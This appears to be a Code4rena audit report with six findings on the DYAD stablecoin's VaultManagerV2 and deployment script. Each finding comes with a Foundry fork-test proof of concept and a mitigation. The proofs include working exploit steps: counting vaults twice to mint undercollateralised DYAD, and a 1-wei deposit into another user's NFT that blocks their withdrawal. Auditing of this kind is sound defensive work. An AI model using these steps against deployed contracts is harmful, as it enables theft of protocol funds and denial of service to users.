DYAD - 0xtankr's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L75 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L167 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L247

Vulnerability details

Impact

The deployment script DeployV2 adds the exogenous vaults ethVault and wstEth to both the VaultManagerV2::vaultLicenser and VaultManagerV2::keroseneManager.

kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));

vaultLicenser.add(address(ethVault));
vaultLicenser.add(address(wstEth));

Because of this, those vaults can be added to an NFT using both VaultManagerV2::add and VaultManagerV2::addKerosene.

In this case the VaultManagerV2::mintDyad function will miscalculate the collateral ratio, because the collateral in the vaults will be counted twice. This allows a user to mint Dyad up to 100% of the actual collateral that has been provided, which is contrary to the intention to have:

"Each DYAD stablecoin is backed by at least $1.50 of exogenous collateral."

It will appear that the position is 200% collateralised when it is in fact only backed by 100% exogenous collateral, which is an undercollateralised position.

Proof of Concept

Place in test/fork/SubmissionTest.sol and run with: forge test --match-contract SubmissionTest --rpc-url RPC-URL

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {WETH} from "../WETH.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";
import {Vault} from "../../src/core/Vault.sol";
import {IDyad} from "../../src/interfaces/IDyad.sol";
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";

contract SubmissionTest is Test, Parameters {

  Contracts contracts;
  DNft dNft;
  WETH weth;
  ERC20Mock wsteth;
  Dyad dyad;
  Kerosine kerosene;

  address alice;
  address bob;

  function setUp() public {
    contracts = new DeployV2().run();
    dNft = DNft(MAINNET_DNFT);
    weth = WETH(payable(MAINNET_WETH));
    wsteth = ERC20Mock(payable(MAINNET_WSTETH));
    dyad = Dyad(MAINNET_DYAD);
    kerosene = Kerosine(MAINNET_KEROSENE);

    alice = vm.addr(123123);
    vm.deal(alice, 100 ether);

    bob = vm.addr(1231234);
    vm.deal(bob, 100 ether);
  }

  /**
   * Users can add exogenous vaults as Kerosene vaults to their NFTs which will cause the protocol 
   * to miscalculate the actual amount of collateral in the NFT. It will appear as if the NFT has 
   * double the amount of collateral that it actually has.
   */
  function testAddingExogenousVaults() public {

    address vaultManagerAddress = address(contracts.vaultManager);
    address wethVaultAddress = address(contracts.ethVault);
    address wstethVaultAddress = address(contracts.wstEth);

    // in order to mint Dyad
    Licenser licenser = dyad.licenser();
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    // add vaults to alice's NFT
    vm.startPrank(alice);
    uint aliceNFT = dNft.mintNft{value: 1 ether}(alice);

    // add funds to weth vault
    weth.deposit{value: 5 ether}(); 
    assertEq(weth.balanceOf(alice), 5 ether, "Alice should have 5 WETH");

    weth.approve(vaultManagerAddress, 1 ether);
    contracts.vaultManager.deposit(aliceNFT, wethVaultAddress, 1 ether);

    // add funds to wsteth vault
    deal(address(MAINNET_WSTETH), alice, 5 ether); 
    assertEq(wsteth.balanceOf(alice), 5 ether, "Alice should have 5 WSTETH");

    wsteth.approve(vaultManagerAddress, 1 ether);
    contracts.vaultManager.deposit(aliceNFT, wstethVaultAddress, 1 ether);

    // the exogeneous vaults have been added to both the vault's Licenser and the 
    // vault's KerosineManager, so they can be added as collateral vaults to an NFT twice

    // vault licensor licenses the two non-kerosene vaults, so they can be added
    contracts.vaultManager.add(aliceNFT, wethVaultAddress);
    contracts.vaultManager.add(aliceNFT, wstethVaultAddress);

    // initial value of collateral
    uint totalValue1 = contracts.vaultManager.getTotalUsdValue(aliceNFT);

    // kerosene manager licenses the two non-kerosene vaults so they can be added as well
    contracts.vaultManager.addKerosene(aliceNFT, wethVaultAddress);
    contracts.vaultManager.addKerosene(aliceNFT, wstethVaultAddress);

    // collateral is counted twice
    uint totalValue2 = contracts.vaultManager.getTotalUsdValue(aliceNFT);
    assertEq(totalValue1 * 2, totalValue2, "Total value should increase by 100 percent");

    // mint Dyad equal to the amount of actual exogenous collateral and create undercollateralised position
    contracts.vaultManager.mintDyad(aliceNFT, totalValue1, alice);
    uint aliceDyad = dyad.balanceOf(alice);

    assertEq(totalValue1, aliceDyad, "Dyad minted should equal actual exogenous collateral");

    // collateral ratio is much higher than it should be, 
    // it should be 100% because we have minted dyad equal to actual amount of collateral
    uint aliceCollatRatio = contracts.vaultManager.collatRatio(aliceNFT);

    // much greater than 150% min collateralisation ratio (1.5e18)
    assertEq(aliceCollatRatio, 2e18, "Alices collat ratio should be 200%");
  }
}

Tools Used

VSCode

Recommended Mitigation Steps

Consider a separate licenser for licensing Kerosene vaults. Currently, exogenous vaults appear to be added to the KerosineManager so that UnboundedKerosineVault::assetPrice can calculate TVL correctly, but this seems to have the unintended side effect of allowing the exogenous vaults to be added as Kerosene vaults to an NFT via VaultManagerV2::addKerosene. A separate licenser for Kerosene vaults would help to separate these concerns.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L215

Vulnerability details

Impact

Liquidators require enough Dyad to match the size of the position they would like to liquidate. This sets a high bar for liquidating large positions, it limits who can execute a liquidation on those positions and therefore reduces the likelihood of liquidation. Liquidating large positions should have a low bar because they pose a greater risk to the protocol when they undercollateralised.

Proof of Concept

Place in test/fork/SubmissionTest.sol and run with: forge test --match-contract SubmissionTest --rpc-url RPC-URL

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {WETH} from "../WETH.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";
import {Vault} from "../../src/core/Vault.sol";
import {IDyad} from "../../src/interfaces/IDyad.sol";
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";

contract SubmissionTest is Test, Parameters {

  Contracts contracts;
  DNft dNft;
  WETH weth;
  ERC20Mock wsteth;
  Dyad dyad;
  Kerosine kerosene;

  address alice;
  address bob;

  function setUp() public {
    contracts = new DeployV2().run();
    dNft = DNft(MAINNET_DNFT);
    weth = WETH(payable(MAINNET_WETH));
    wsteth = ERC20Mock(payable(MAINNET_WSTETH));
    dyad = Dyad(MAINNET_DYAD);
    kerosene = Kerosine(MAINNET_KEROSENE);

    alice = vm.addr(123123);
    vm.deal(alice, 100 ether);

    bob = vm.addr(1231234);
    vm.deal(bob, 100 ether);
  }

  /**
   * Liquidators need to have as much DYAD as the position they are liquidating.
   */
  function testLiquidationRequirements() public {

    // in order to mint Dyad
    Licenser licenser = dyad.licenser();
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    address vaultManagerAddress = address(contracts.vaultManager);
    address wethVaultAddress = address(contracts.ethVault);
    uint minCollatRatio = contracts.vaultManager.MIN_COLLATERIZATION_RATIO();

    // set bob up with an NFT
    vm.deal(bob, 1000 ether);

    vm.startPrank(bob);
    weth.deposit{value: 500 ether}(); 

    uint bobNFT = dNft.mintNft{value: 1 ether}(bob);

    weth.approve(vaultManagerAddress, 1 ether);
    contracts.vaultManager.deposit(bobNFT, wethVaultAddress, 1 ether);
    contracts.vaultManager.add(bobNFT, wethVaultAddress);
    contracts.vaultManager.mintDyad(bobNFT, .75 ether, bob);
    vm.stopPrank();

    // withdraw collateral to emulate undercollateralised position
    vm.startPrank(vaultManagerAddress);
    contracts.ethVault.withdraw(bobNFT, bob, .999799 ether);
    vm.stopPrank();

    // NFT collateral ratio below min threshold
    uint collat = contracts.vaultManager.collatRatio(bobNFT);
    assertLt(collat, minCollatRatio, 'Collateral ratio should be less than the minimum');

    // alice to liquidate bobs NFT
    vm.startPrank(alice);
    uint aliceNFT = dNft.mintNft{value: 1 ether}(alice);
    weth.deposit{value: 90 ether}(); 
    weth.approve(vaultManagerAddress, .75 ether);
    contracts.vaultManager.deposit(aliceNFT, wethVaultAddress, .75 ether);
    contracts.vaultManager.add(aliceNFT, wethVaultAddress);
    contracts.vaultManager.mintDyad(aliceNFT, .5 ether, alice);

    // alice does not have enough DYAD to liquidate bobs NFT position
    vm.expectRevert(stdError.arithmeticError);
    contracts.vaultManager.liquidate(bobNFT, aliceNFT);
    vm.stopPrank();
  }
}

Tools Used

VSCode

Recommended Mitigation Steps

Consider lowering requirements for liquidators to liquidate NFTs so that it does not require a minimum balance of Dyad.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact

Users can deposit collateral into the vault of any NFT, regardless of whether they are the owner of that NFT or not.

This is contrary to the intended operation of the VaultManagerV2::deposit function, given the docblock for that function in IVaultManager: "@notice Allows a dNFT owner to deposit collateral into a vault".

Because a VaultManagerV2::deposit will reset the "block of last deposit" for the NFT:

idToBlockOfLastDeposit[id] = block.number;

This prevents VaultManagerV2::withdraw from executing in the same block because of the following check:

if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();

A malicious user can deny an NFT owner from withdrawing their collateral simply by depositing a small amount.

Proof of Concept

Place in test/fork/SubmissionTest.sol and run with: forge test --match-contract SubmissionTest --rpc-url RPC-URL

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {WETH} from "../WETH.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";
import {Vault} from "../../src/core/Vault.sol";
import {IDyad} from "../../src/interfaces/IDyad.sol";
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";

contract SubmissionTest is Test, Parameters {

  Contracts contracts;
  DNft dNft;
  WETH weth;
  ERC20Mock wsteth;
  Dyad dyad;
  Kerosine kerosene;

  address alice;
  address bob;

  function setUp() public {
    contracts = new DeployV2().run();
    dNft = DNft(MAINNET_DNFT);
    weth = WETH(payable(MAINNET_WETH));
    wsteth = ERC20Mock(payable(MAINNET_WSTETH));
    dyad = Dyad(MAINNET_DYAD);
    kerosene = Kerosine(MAINNET_KEROSENE);

    alice = vm.addr(123123);
    vm.deal(alice, 100 ether);

    bob = vm.addr(1231234);
    vm.deal(bob, 100 ether);
  }

  /**
   * Users can deposit for any given NFT, this denies owner of NFT to withdraw collateral
   */
  function testDenyWithdraw() public {

    address vaultManagerAddress = address(contracts.vaultManager);
    address wethVaultAddress = address(contracts.ethVault);

    // 2 users alice and bob
    // alice has an NFT with a vault with some collateral
    vm.startPrank(alice);
    uint aliceNFT = dNft.mintNft{value: 1 ether}(alice);
    weth.deposit{value: 5 ether}(); 
    weth.approve(vaultManagerAddress, 1 ether);
    contracts.vaultManager.deposit(aliceNFT, wethVaultAddress, 1 ether);
    contracts.vaultManager.add(aliceNFT, wethVaultAddress);
    vm.stopPrank();

    // check that block of first deposit matches current block
    uint blockAtFirstDeposit = contracts.vaultManager.idToBlockOfLastDeposit(aliceNFT);
    assertEq(blockAtFirstDeposit, block.number, "Block of first deposit should match current block");

    // move forward a block
    vm.roll(block.number + 1);

    // bob deposits a small amount of collateral into alice's NFT
    vm.startPrank(bob);
    weth.deposit{value: 1 ether}(); 
    weth.approve(vaultManagerAddress, 1 wei);
    contracts.vaultManager.deposit(aliceNFT, wethVaultAddress, 1 wei);
    vm.stopPrank();

    // idToBlockOfLastDeposit increased for alice's NFT by bob's deposit
    uint blockAtSecondDeposit = contracts.vaultManager.idToBlockOfLastDeposit(aliceNFT);
    assertGt(blockAtSecondDeposit, blockAtFirstDeposit, "Block of second deposit should be greater than first deposit");
    assertEq(blockAtSecondDeposit, block.number, "Block of second deposit should be current block");

    // alice cannot withdraw in this block due to bob's deposit
    vm.startPrank(alice);
    vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
    contracts.vaultManager.withdraw(aliceNFT, wethVaultAddress, 1 ether, alice);
  }
}

Tools Used

VSCode

Recommended Mitigation Steps

Instead of using the isValidDNft(id) modifier on VaultManagerV2::deposit, consider using isDNftOwner(id) so that deposits are limited to the owner of the NFT.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L65 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L42

Vulnerability details

Impact

The asset price of Kerosene, calculated in UnboundedKerosineVault::assetPrice, cannot be successfully calculated until the TVL added to vaults associated with NFTs in the new VaultManagerV2 instance exceeds the existing total supply of Dyad.

The numerator in the calculation of UnboundedKerosineVault::assetPrice results in arithmetic underflow because Dyad total supply is greater than the TVL:

uint numerator   = tvl - dyad.totalSupply();
uint denominator = kerosineDenominator.denominator();
return numerator * 1e8 / denominator;

Given that Dyad can continue to be minted for most of the collateral that is added to VaultManagerV2 vaults, it seems that this issue would persist for some time after VaultManagerV2 is deployed.

Proof of Concept

Place in test/fork/SubmissionTest.sol and run with: forge test --match-contract SubmissionTest --rpc-url RPC-URL

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {WETH} from "../WETH.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";
import {Vault} from "../../src/core/Vault.sol";
import {IDyad} from "../../src/interfaces/IDyad.sol";
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";

contract SubmissionTest is Test, Parameters {

  Contracts contracts;
  DNft dNft;
  WETH weth;
  ERC20Mock wsteth;
  Dyad dyad;
  Kerosine kerosene;

  address alice;
  address bob;

  function setUp() public {
    contracts = new DeployV2().run();
    dNft = DNft(MAINNET_DNFT);
    weth = WETH(payable(MAINNET_WETH));
    wsteth = ERC20Mock(payable(MAINNET_WSTETH));
    dyad = Dyad(MAINNET_DYAD);
    kerosene = Kerosine(MAINNET_KEROSENE);

    alice = vm.addr(123123);
    vm.deal(alice, 100 ether);

    bob = vm.addr(1231234);
    vm.deal(bob, 100 ether);
  }

  /**
   * The asset price or deterministic value of Kerosene cannot be calculated due to an underflow error in the calculation
   * until the TVL in the vaults is greater than the total supply of DYAD
   */
  function testKeroseneVaultAssetPrice() public {

    address vaultManagerAddress = address(contracts.vaultManager);
    address wethVaultAddress = address(contracts.ethVault);

    // assetPrice calculation results in panic: arithmetic underflow or overflow (0x11)
    // seemingly because TVL is too low in comparison to existing DYAD value
    vm.expectRevert(stdError.arithmeticError);
    uint keroAssetPrice = contracts.unboundedKerosineVault.assetPrice();
    assertEq(keroAssetPrice, 0, 'Kerosene asset price should be 0');

    // increase TVL 
    vm.deal(bob, 501 ether);
    vm.startPrank(bob);
    uint bobNFT = dNft.mintNft{value: 1 ether}(bob);
    weth.deposit{value: 500 ether}(); 
    weth.approve(vaultManagerAddress, 500 ether);
    contracts.vaultManager.add(bobNFT, wethVaultAddress);

    contracts.vaultManager.deposit(bobNFT, wethVaultAddress, 208 ether);
    uint valUSD1 = contracts.ethVault.getUsdValue(bobNFT);

    // assetPrice calculation results in panic: arithmetic underflow or overflow (0x11)
    // TVL is still too low
    vm.expectRevert(stdError.arithmeticError);
    uint keroAssetPrice2 = contracts.unboundedKerosineVault.assetPrice();
    assertEq(keroAssetPrice2, 0, 'Kerosene asset price should be 0');

    // increase TVL further
    contracts.vaultManager.deposit(bobNFT, wethVaultAddress, 1 ether);
    uint valUSD2 = contracts.ethVault.getUsdValue(bobNFT);
    assertGt(valUSD2, valUSD1, 'TVL should be higher than previous');

    // assetPrice calculation passes now that TVL is great enough
    uint keroAssetPrice3 = contracts.unboundedKerosineVault.assetPrice();
    assertGt(keroAssetPrice3, 0, 'Kerosene asset price should be greater than 0');
  }
}

Tools Used

VSCode

Recommended Mitigation Steps

Consider altering the calculation of Kerosene asset price in UnboundedKerosineVault::assetPrice to either incorporate TVL in existing vaults or limit the calculated total supply of Dyad to that which is minted for the vaults that are added to VaultManagerV2.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L78 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.bounded.sol#L23 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.bounded.sol#L49

Vulnerability details

Impact

When the BoundedKerosineVault is set up in the deployment script DeployV2, it does not have an UnboundedKerosineVault set on it. The BoundedKerosineVault::assetPrice function hands off to UnboundedKerosineVault to calculate the asset price, which it cannot until UnboundedKerosineVault is set.

BoundedKerosineVault::assetPrice:

function assetPrice() 
  public 
  view 
  override
  returns (uint) {
    return unboundedKerosineVault.assetPrice() * 2;
}

Proof of Concept

Place in test/fork/SubmissionTest.sol and run with: forge test --match-contract SubmissionTest --rpc-url RPC-URL

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {WETH} from "../WETH.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";
import {Vault} from "../../src/core/Vault.sol";
import {IDyad} from "../../src/interfaces/IDyad.sol";
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";

contract SubmissionTest is Test, Parameters {

  Contracts contracts;
  DNft dNft;
  WETH weth;
  ERC20Mock wsteth;
  Dyad dyad;
  Kerosine kerosene;

  address alice;
  address bob;

  function setUp() public {
    contracts = new DeployV2().run();
    dNft = DNft(MAINNET_DNFT);
    weth = WETH(payable(MAINNET_WETH));
    wsteth = ERC20Mock(payable(MAINNET_WSTETH));
    dyad = Dyad(MAINNET_DYAD);
    kerosene = Kerosine(MAINNET_KEROSENE);

    alice = vm.addr(123123);
    vm.deal(alice, 100 ether);

    bob = vm.addr(1231234);
    vm.deal(bob, 100 ether);
  }

  /**
   * The bounded Kerosene vault does not have an UnboundedKerosineVault set on it, 
   * so the assetPrice calculation does not have an address to use. 
   */
  function testKeroseneBoundedVaultAssetPrice() public {

    vm.expectRevert();
    uint keroAssetPrice = contracts.boundedKerosineVault.assetPrice();
    assertEq(keroAssetPrice, 0, 'Kerosene asset price should be 0');
  }
}

Tools Used

VSCode

Recommended Mitigation Steps

Consider adding the UnboundedKerosineVault which is created in DeployV2 to the BoundedKerosineVault so that the bounded vault is fully set up and ready when it needs to be added to VaultManagerV2.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L71 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L67 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/KerosineManager.sol#L44 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L60

Vulnerability details

Impact

Users are unable to add Kerosene vaults to an NFT as collateral because both of the vaults (UnboundedKerosineVault and BoundedKerosineVault) that are created in the deployment script DeployV2 are not added to the KerosineManager which is set on the VaultManagerV2.

The VaultManagerV2::addKerosene function checks if the vault being added is licensed by the KerosineManager:

if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();

Proof of Concept

Place in test/fork/SubmissionTest.sol and run with: forge test --match-contract SubmissionTest --rpc-url RPC-URL

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {WETH} from "../WETH.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {OracleMock} from "../OracleMock.sol";
import {Vault} from "../../src/core/Vault.sol";
import {IDyad} from "../../src/interfaces/IDyad.sol";
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";

contract SubmissionTest is Test, Parameters {

  Contracts contracts;
  DNft dNft;
  WETH weth;
  ERC20Mock wsteth;
  Dyad dyad;
  Kerosine kerosene;

  address alice;
  address bob;

  function setUp() public {
    contracts = new DeployV2().run();
    dNft = DNft(MAINNET_DNFT);
    weth = WETH(payable(MAINNET_WETH));
    wsteth = ERC20Mock(payable(MAINNET_WSTETH));
    dyad = Dyad(MAINNET_DYAD);
    kerosene = Kerosine(MAINNET_KEROSENE);

    alice = vm.addr(123123);
    vm.deal(alice, 100 ether);

    bob = vm.addr(1231234);
    vm.deal(bob, 100 ether);
  }

  /**
   * Users cannot add any of the Kerosene vaults as collateral to an NFT.
   */
  function testAddingKeroseneVaults() public {

    address unboundedKeroAddress = address(contracts.unboundedKerosineVault);
    address boundedKeroAddress = address(contracts.boundedKerosineVault);

    vm.startPrank(alice);
    uint aliceNFT = dNft.mintNft{value: 1 ether}(alice);

    // cannot add Kerosene vaults to alice's NFT
    vm.expectRevert(IVaultManager.VaultNotLicensed.selector);
    contracts.vaultManager.addKerosene(aliceNFT, unboundedKeroAddress);

    vm.expectRevert(IVaultManager.VaultNotLicensed.selector);
    contracts.vaultManager.addKerosene(aliceNFT, boundedKeroAddress);
  }
}

Tools Used

VSCode

Recommended Mitigation Steps

Consider using a separate licenser for licensing the Kersosene vaults, adding them to the kerosineManager will allow them to be added as Kerosene vaults in VaultManagerV2 but it will also include them in the assetPrice calcuation of tvl in both UnboundedKerosineVault and BoundedKerosineVault:

address[] memory vaults = kerosineManager.getVaults();
uint numberOfVaults = vaults.length;

for (uint i = 0; i < numberOfVaults; i++) {
  Vault vault = Vault(vaults[i]);
  tvl += vault.asset().balanceOf(address(vault)) 
          * vault.assetPrice() * 1e18
          / (10**vault.asset().decimals()) 
          / (10**vault.oracle().decimals());
}

Which contradicts the documentation for calculating the deterministic value of Kerosene:

"C: the total USD value of all exogenous collateral in the protocol (TVL). Critically, this total does not include Kerosene itself"

Assessed type

Other